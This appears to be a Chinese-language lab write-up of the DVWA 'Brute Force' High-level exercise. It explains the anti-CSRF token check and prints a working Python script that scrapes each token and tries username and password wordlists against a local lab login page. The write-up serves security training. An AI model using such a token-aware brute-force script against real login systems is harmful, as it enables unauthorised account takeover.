四、暴力破解(Brute Force)-High

Ant大约 1 分钟

四、暴力破解(Brute Force)-High

一、漏洞原理

通过源码可知High级别增加了Token机制,每次登录都必须向服务器提供最新的Token信息,这样就不能简单的用字典对用户名和密码进行暴力破解,需要在每次提交用户名和密码的时候添加上Token信息。High级别我们使用Python模拟登录,每次尝试新的用户名、密码前先获取Token信息,然后将用户名、密码、Token进行封装后执行登录提交到服务器,根据服务器返回的内容判断是否登录成功。

二、漏洞利用过程

bruteborce.py脚本如下

import requests
from bs4 import BeautifulSoup
     
headers = {
    "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36",
    "cookie": "PHPSESSID=vo6bf39fkvdmrjh4f4l3soecdv; security=high"
}
     
     
with open("user", 'r', encoding="utf-8") as names:
    for username in names:
        with open("passwd", 'r', encoding='utf-8') as passwords:
            for password in passwords:

                url = "http://192.168.146.136/dvwa/vulnerabilities/brute/" 
                r = requests.get(url, headers=headers) 
                soup = BeautifulSoup(r.text, "html.parser")
                token = soup.find_all("input")[3].get("value")

                get_data = {
                    "user_token": token,
                    "username": username.strip(),
                    "password": password.strip(),
                    "Login": "login"
                }

                
                r = requests.get(url, params=get_data, headers=headers)

                if 'Username and/or password incorrect.' in r.text:
                    print(username.strip()+"/"+password.strip()+"  :破解失败")

                else:
                    print('=' * 40)
                    print(username.strip()+"/"+password.strip()+"  :破解成功")
                    print('=' * 40)
               

执行命令 python3 bruteforce.pyopen in new window结果如下

执行结果
执行结果

三、防御方式

参见 暴力破解-Low-Mediumopen in new window 防御方式内容。

Loading...